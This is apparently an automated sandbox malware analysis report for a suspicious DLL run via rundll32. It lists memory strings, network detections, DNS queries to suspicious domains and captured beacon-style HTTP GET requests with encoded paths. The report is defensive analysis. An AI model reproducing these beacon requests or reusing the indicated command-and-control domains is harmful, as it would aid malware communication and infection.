Source:	Binary string: ole32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: TextInputFramework.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: msctf.pdb8 source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: c:\wheel\receive\Many-rise\score.pdb source: loaddll32.exe, 00000000.00000002.784287371.000000006E68B000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.785711066.000000006E68B000.00000002.00020000.sdmp, B6VQd36tt6.dll
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb&H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbXH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000011.00000003.485303195.0000000004BF4000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509855215.00000000054B4000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520172099.0000000004BB4000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000014.00000003.494991181.00000000032CB000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507712896.0000000002C3B000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000011.00000003.485297941.0000000004BF0000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509842537.00000000054B0000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520145267.0000000004BB0000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000014.00000003.493177698.00000000032C5000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.507687054.0000000002C35000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp, WerFault.exe, 00000014.00000003.509869647.00000000054B7000.00000004.00000040.sdmp, WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb@H source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp
Source:	Binary string: winspool.pdbRH source: WerFault.exe, 00000011.00000003.485309093.0000000004BF7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb\| source: WerFault.exe, 00000016.00000003.520038709.0000000004BB7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000011.00000003.485227453.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.509695928.00000000054E1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.519966119.0000000004BE1000.00000004.00000001.sdmp

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.97.164.146 187
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: www.msn.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.101.91.82 187
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: areuranel.website
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: breuranel.website
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: outlook.office365.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: msn.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: outlook.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: www.outlook.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.151.18 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 13.82.28.61 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.137.178 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.183.162 187

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: Joe Sandbox View

IP Address: 40.97.164.146 40.97.164.146

Source: global traffic	HTTP traffic detected: GET /mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12NRqsjmC/kkNl1wduKuFf8Q/FUG3Ocqqzs1x_2BibuPx6/9auuC1P5josci_2B/vyxmzUWJ7gSzOqo/Jt7rxzWzdI7AYIGNrQ/e7oR22vyh/Me9W1V8u/5SwAx9Su/B.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/jRWWDjWjz87k5xmFJxsJqsu/JDVOEV0_2F/rb6v_2FY3MQLb6_2F/gkDS2luFhYah/H5Mm0Y9iZUr/9_2FNXlrb5xId9/cAon_2FllX9wfUzSs9jRy/iECEQNsAU7oK/0.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/yxX7bEpX8fkEJbVyh9/qWpi3f2OW/wrbjI8c5A6cpHeOUtqJL/SsvBBOkr1Vxt3lBY9zj/5j0TGmFjnVfmYPqQrqQKOy/CuHlAfsl6J0Xl/Gz8IEoLZ/BwAkxXP5B5W2_2BPU7pGqQ9/BHC7nncuP2/eu0pY6BQJ958LuV7I/fzySs8nJ5lF3/1CG1ppCNJBl/xHTFfKCof0ib7S/py_2F4IYCav_2Ftxe98nI/nZH.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgpN7o/BCyQHF5XZOebIuFzT_2/BFFOtw4QHhKTLswkkvF9vD/aY9DT6JVICQxS/piqcZUHz/pQlXCrwUL0BTmEd_2FLWL2L/RH2uj8PySJ/d2LKLIyBddk3_2FhT/H.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /mail/liopolo/pf6_2FLREfP_2FxP/xGe8YUjshftOGCf/JTttK9QVtKrTS7QkWE/ZPLHtzaUx/XGEoZcanWnYYYh5pU8Em/GLDLy5GpGXwcg_2Bwck/kT4Zd7sERIG_2Bba1DdBVT/1BoxASA_2FDOZ/PsNxvKNH/RweAmXaL_2B7o4rtkWRlTX9/6ZU5YSIMnk/yFSTinelYwomOZkWD/rkossiVbXA0U/C_2FCIlnEO_/2FzjQ_2By_2FPmxqq/uw86.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: msn.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: www.outlook.com
Source: global traffic	HTTP traffic detected: GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: outlook.office365.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1245Content-Type: text/htmlServer: Microsoft-IIS/10.0request-id: 4a6581a2-619b-52fc-a3a1-1b46c2d11731Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-CalculatedFETarget: AM0PR02CU005.internal.outlook.comX-BackEndHttpStatus: 404X-FEProxyInfo: AM0PR02CA0158.EURPRD02.PROD.OUTLOOK.COMX-CalculatedBETarget: AM0PR0302MB3315.eurprd03.prod.outlook.comX-BackEndHttpStatus: 404X-RUM-Validated: 1X-Proxy-RoutingCorrectness: 1X-Proxy-BackendServerStatus: 404MS-CV: ooFlSpth/FKjoRtGwtEXMQ.1.1X-FEServer: AM0PR02CA0158X-Powered-By: ASP.NETX-FEServer: AM7PR03CA0005Date: Mon, 11 Oct 2021 20:23:36 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1245Content-Type: text/htmlServer: Microsoft-IIS/10.0request-id: 3d79bdb5-66ac-6d20-1236-ee020757b4dfStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-CalculatedFETarget: DU2PR04CU011.internal.outlook.comX-BackEndHttpStatus: 404X-FEProxyInfo: DU2PR04CA0330.EURPRD04.PROD.OUTLOOK.COMX-CalculatedBETarget: DB6PR03MB2838.EURPRD03.PROD.OUTLOOK.COMX-BackEndHttpStatus: 404X-RUM-Validated: 1X-Proxy-RoutingCorrectness: 1X-Proxy-BackendServerStatus: 404MS-CV: tb15PaxmIG0SNu4CB1e03w.1.1X-FEServer: DU2PR04CA0330X-Powered-By: ASP.NETX-FEServer: AM7PR03CA0017Date: Mon, 11 Oct 2021 20:23:37 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1245Content-Type: text/htmlServer: Microsoft-IIS/10.0request-id: de37bbb0-742b-37a2-87bd-bd1fca420c34Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-CalculatedFETarget: HE1PR05CU010.internal.outlook.comX-BackEndHttpStatus: 404X-FEProxyInfo: HE1PR05CA0294.EURPRD05.PROD.OUTLOOK.COMX-CalculatedBETarget: HE1P193MB0009.EURP193.PROD.OUTLOOK.COMX-BackEndHttpStatus: 404X-RUM-Validated: 1X-Proxy-RoutingCorrectness: 1X-Proxy-BackendServerStatus: 404MS-CV: sLs33it0ojeHvb0fykIMNA.1.1X-FEServer: HE1PR05CA0294X-Powered-By: ASP.NETX-FEServer: AM6P193CA0092Date: Mon, 11 Oct 2021 20:24:58 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1245Content-Type: text/htmlServer: Microsoft-IIS/10.0request-id: cc782159-69ef-cf03-4f21-5a1c9fd141afStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-CalculatedFETarget: VI1PR06CU004.internal.outlook.comX-BackEndHttpStatus: 404X-FEProxyInfo: VI1PR06CA0144.EURPRD06.PROD.OUTLOOK.COMX-CalculatedBETarget: VI1P193MB0047.EURP193.PROD.OUTLOOK.COMX-BackEndHttpStatus: 404X-RUM-Validated: 1X-Proxy-RoutingCorrectness: 1X-Proxy-BackendServerStatus: 404MS-CV: WSF4zO9pA89PIVocn9FBrw.1.1X-FEServer: VI1PR06CA0144X-Powered-By: ASP.NETX-FEServer: AM6P193CA0101Date: Mon, 11 Oct 2021 20:25:00 GMTConnection: close

Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000002.513974551.00000000047E0000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.528779312.0000000005105000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.539530897.000000000487F000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000003.506906811.0000000003019000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	String found in binary or memory: http://ogp.me/ns#
Source: loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.506906811.0000000003019000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	String found in binary or memory: http://ogp.me/ns/fb#
Source: loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506705607.000000000309D000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp	String found in binary or memory: https://blogs.msn.com/
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1633983772&rver
Source: loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506771882.0000000000AB7000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1633983776&rver
Source: rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1633983857&rver
Source: loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1633983858&rver
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683447032.000000000309C000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	String found in binary or memory: https://mem.gfx.ms/meversion/?partner=msn&market=en-us"
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://msn.com/
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://msn.com/O
Source: loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp	String found in binary or memory: https://msn.com/o
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://msn.com/y
Source: loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office365.com/
Source: loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office365.com/0
Source: loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office365.com/D
Source: loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office365.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf
Source: loaddll32.exe, 00000000.00000003.595223833.0000000000ABE000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office365.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi
Source: loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506771882.0000000000AB7000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/en-us//api/modules/cdnfetch"
